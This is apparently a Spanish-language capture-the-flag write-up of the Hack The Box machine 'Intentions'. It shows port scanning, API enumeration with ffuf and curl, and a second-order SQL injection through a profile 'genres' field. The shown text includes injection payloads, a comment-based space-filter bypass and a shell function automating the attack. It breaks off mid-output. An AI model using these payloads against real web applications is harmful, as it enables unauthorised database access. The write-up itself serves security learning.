Intentions
19 minutos de lectura
greg
analizando un repositorio de Git y encontrando credenciales en texto claro. Después de eso, se nos permite ejecutar un binario personalizado que aplica un hash a una determinada longitud de un archivo y compara el resultado con un conjunto de hashes MD5 precomputados. Este binario tiene una capability que permite leer archivos como root
, que puede usarse para extraer todo el contenido de cualquier archivo después de automatizar el proceso, qlo cual puede usarse para leer una clave privada de SSH para root
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.11.220
- Fecha: 01 / 07 / 2023
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.220 -p 22,80
Nmap scan report for 10.10.11.220
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.83 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.220
veremos este formulario de inicio de sesión:
En primer lugar, intentemos registrar una cuenta:
Ahora estamos registrados:
Y podemos iniciar sesión en la plataforma:
El sitio web trata sobre imágenes:
Además, el front-end está construido con Vue.js, ya que JavaScript renderiza el código HTML en tiempo de ejecución:
Dado que la página es dinámica, no es útil aplicar fuzzing con ffuf
. Tendremos que analizar los archivos de JavaScript para encontrar las diferentes páginas del sitio web:
No hay páginas ocultas, todas aparecen en la barra lateral del sitio web.
Tenemos algunas cookies interesantes:
Se parecen a los tokens JWT, pero solo token
es un JWT (podemos decodificarlo en jwt.io):
La cookie intentions_session
y XSRF_TOKEN
son solo documentos JSON codificados en Base64:
$ echo eyJpdiI6IlRHaEJRNlNvcmRCUTFRd1RkVmE1RHc9PSIsInZhbHVlIjoiUmdjZWVxaks3VjJDZGtJelhkMW5hQk1GVlkrS0hnaGRnNk9HL0NWVHZKV25WWEE5V3ljVlBxNGluOTRxeDRSUCs4RjJDaGdmUkVqS2dQd0FrbkhhZ2NBekd2OEF2TDQ2bFhUZzdUQ0hyOGRzWFpuWVlXTWRtWGVabDV0WHkvbnIiLCJtYWMiOiJlMjhkOWRhZTQ5ODY1NDUwZDcxOGY3Nzg4YzlkMGVlOGJlMWE0ZDliNjRjMDZhZTZmNmUxYzc1ZTk1OWI4YjRlIiwidGFnIjoiIn0= | base64 -d | jq
{
"iv": "TGhBQ6SordBQ1QwTdVa5Dw==",
"value": "RgceeqjK7V2CdkIzXd1naBMFVY+KHghdg6OG/CVTvJWnVXA9WycVPq4in94qx4RP+8F2ChgfREjKgPwAknHagcAzGv8AvL46lXTg7TCHr8dsXZnYYWMdmXeZl5tXy/nr",
"mac": "e28d9dae49865450d718f7788c9d0ee8be1a4d9b64c06ae6f6e1c75e959b8b4e",
"tag": ""
}
$ echo eyJpdiI6InVKa09NVjhCWjJYc0lrVEVKeXhNamc9PSIsInZhbHVlIjoiM2VGZzNTVldRWEQxelZrR2lWYTdsNUV0NXd0TkdwVlhOUHBFY2FLN2dJNlN4UXNQOVZlUU5QUWh1Y1FpM1BJQkx4cElrb2pSTlhJL1c1SHJYS09Ib2JUZ0F1S3hOV3kyTXlWa2k1ZGdnUWxIb1hMamU0Wm9BSUx5SFRWNDNZbWciLCJtYWMiOiJmNTVjNDFlMWNiMGI1Yzg5ZWQ0N2JhOWZjNDU3ODJmZjhjMmNhYjNjMjRiZTk1NmRhY2FmMWQ5MzI0ZmQ4OGQ3IiwidGFnIjoiIn0= | base64 -d | jq
{
"iv": "uJkOMV8BZ2XsIkTEJyxMjg==",
"value": "3eFg3SVWQXD1zVkGiVa7l5Et5wtNGpVXNPpEcaK7gI6SxQsP9VeQNPQhucQi3PIBLxpIkojRNXI/W5HrXKOHobTgAuKxNWy2MyVki5dggQlHoXLje4ZoAILyHTV43Ymg",
"mac": "f55c41e1cb0b5c89ed47ba9fc45782ff8c2cab3c24be956dacaf1d9324fd88d7",
"tag": ""
}
Enumeración de la API
En la sección de datos del token JWT vemos que iss
contiene http://10.10.11.220/api/v1/auth/login
. Por lo tanto, tenemos un endpoint de API para enumerar. Ahora podemos usar ffuf
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/v1/auth/FUZZ -fs 162
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 77ms]
* FUZZ: login
[Status: 302, Size: 330, Words: 60, Lines: 12, Duration: 92ms]
* FUZZ: user
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 141ms]
* FUZZ: register
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 100ms]
* FUZZ: logout
[Status: 500, Size: 6615, Words: 443, Lines: 37, Duration: 399ms]
* FUZZ: refresh
Muy bien, nada muy útil por el momento. Obsérvese lo de v1
, tal vez haya una versión más nueva de la API, veamos:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/FUZZ/auth/login -fs 162
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 120ms]
* FUZZ: v2
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 403ms]
* FUZZ: v1
Genial, así que tenemos dos versiones API. Con Burp Suite, podemos averiguar cómo se envía la petición de inicio de sesión:
Podemos replicarla con curl
:
$ curl 10.10.11.220/api/v1/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}'
{"status":"error","errors":{"email":["The email field is required."],"password":["The password field is required."]}}
$ curl 10.10.11.220/api/v1/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"success","name":"asdf"}
Nótese que no usé Content-Type
en la primera petición y el servidor me dijo qué valores faltaban. Si hago lo mismo en v2
, password
se reemplaza por hash
:
$ curl 10.10.11.220/api/v2/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}'
{"status":"error","errors":{"email":["The email field is required."],"hash":["The hash field is required."]}}
Podemos intentar registrar una nueva cuenta en v2
:
$ curl 10.10.11.220/api/v2/auth/register -d ''
{"status":"error","errors":{"name":["The name field is required."],"email":["The email field is required."],"password":["The password field is required."]}}
$ curl 10.10.11.220/api/v2/auth/register -d '{"name":"asdf","email":"fdsa@asdf.com","password":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"error","errors":{"password":["The password confirmation does not match."]}}
Parece que necesitamos poner un campo de confirmación de contraseña. Nuevamente, Burp Suite captará la petición y mostrará que el campo se llama password_confirmation
(aunque para v1
):
Entonces, podemos registrarnos en v2
, pero no podemos iniciar sesión:
$ curl 10.10.11.220/api/v2/auth/register -d '{"name":"asdf","email":"fdsa@asdf.com","password":"asdffdsa","password_confirmation":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"success"}
$ curl 10.10.11.220/api/v2/auth/login -d '{"email":"fdsa@asdf.com","hash":"asdffdsa"}' -H 'Content-Type: application/json'
{"error":"login_error"}
Tal vez hash
sea realmente un hash (MD5, SHA256 …), pero no sabemos cómo se construye.
También podemos intentar aplicar fuzzing a la API en v2
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/v2/auth/FUZZ -fs 162
[Status: 302, Size: 330, Words: 60, Lines: 12, Duration: 67ms]
* FUZZ: user
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 77ms]
* FUZZ: register
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 95ms]
* FUZZ: login
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 90ms]
* FUZZ: logout
[Status: 500, Size: 6615, Words: 443, Lines: 37, Duration: 400ms]
* FUZZ: refresh
De nuevo, nada realmente útil.
Veamos qué información se almacena sobre los usuarios:
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T21:44:12.000000Z",
"admin": 0,
"genres": "food,travel,nature"
}
}
Bueno, volvamos a los archivos de JavaScript y veamos si hay llamadas a la API:
Podemos encontrar
- POST
/api/v1/gallery/user/genres
- GET
/api/v1/gallery/user/feed
- GET
/api/v1/gallery/images
- GET
/api/v1/auth/user
Esto es interesante:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d '' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:43:53.000000Z",
"admin": 0,
"genres": ""
}
}
Acabo de borrar mi campo genres
… puedo controlar este campo:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d '{"genres":"asdf"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:45:10.000000Z",
"admin": 0,
"genres": "asdf"
}
}
Acceso a la máquina
Este parámetro parece interesante, intentemos inyectar código SQL:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\'"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T23:18:30.000000Z",
"admin": 0,
"genres": "'"
}
}
$ curl 10.10.11.220/api/v1/gallery/user/feed -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | grep Error
<title>Server Error</title>
Server Error </div>
El servidor se ha bloqueado al llamar a /api/v1/gallery/user/feed
. Esto significa que la inyección ha funcionado (SQLi de segundo orden).
Inyección de código SQL
Usemos un payload de SQLi típico:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\' or sleep(5);-- -"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v2/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:51:32.000000Z",
"admin": 0,
"genres": "'orsleep(5);---"
}
}
Vemos que se eliminan los espacios… pero podemos evitarlo usando comentarios como espacios:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\')/**/or/**/(\'1\'=\'1"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v2/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:51:32.000000Z",
"admin": 0,
"genres": "')/**/or/**/('1'='1"
}
}
$ curl 10.10.11.220/api/v1/gallery/user/feed -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success","data":[{"id":1,"file":"public\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg"},{"id":2,"file":"public\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg"},{"id":3,"file":"public\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg"},{"id":4,"file":"public\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg"},{"id":5,"file":"public\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg"},{"id":6,"file":"public\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg"},{"id":7,"file":"public\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg"},{"id":8,"file":"public\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg"},{"id":9,"file":"public\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg"},{"id":10,"file":"public\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg"},{"id":11,"file":"public\/food\/dan-9-f4enU0AY0-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/dan-9-f4enU0AY0-unsplash.jpg"},{"id":12,"file":"public\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg"},{"id":13,"file":"public\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg"},{"id":14,"file":"public\/food\/rod-long--LMw-y4gxac-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/rod-long--LMw-y4gxac-unsplash.jpg"},{"id":15,"file":"public\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg"},{"id":16,"file":"public\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg"},{"id":17,"file":"public\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg"},{"id":18,"file":"public\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg"},{"id":19,"file":"public\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg"}]}
Genial, parece que hemos encontrado el formato de la inyección y el punto. Vamos a envolver todo el proceso en una función de shell:
$ function sqli() {
function> payload=$(sed 's% %/**/%g' <<< $1)
function> curl 10.10.11.220/api/v1/gallery/user/genres -d "{\"genres\":\"$payload\"}" -H 'Content-Type: application/json' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' &>/dev/null
function> curl 10.10.11.220/api/v1/gallery/user/feed -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
function> }
$ sqli "') or ('1'='1"
{"status":"success","data":[{"id":1,"file":"public\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg"},{"id":2,"file":"public\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg"},{"id":3,"file":"public\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg"},{"id":4,"file":"public\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg"},{"id":5,"file":"public\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg"},{"id":6,"file":"public\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg"},{"id":7,"file":"public\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg"},{"id":8,"file":"public\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg"},{"id":9,"file":"public\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg"},{"id":10,"file":"public\/food\/anto-meneghini-sJ4ix9_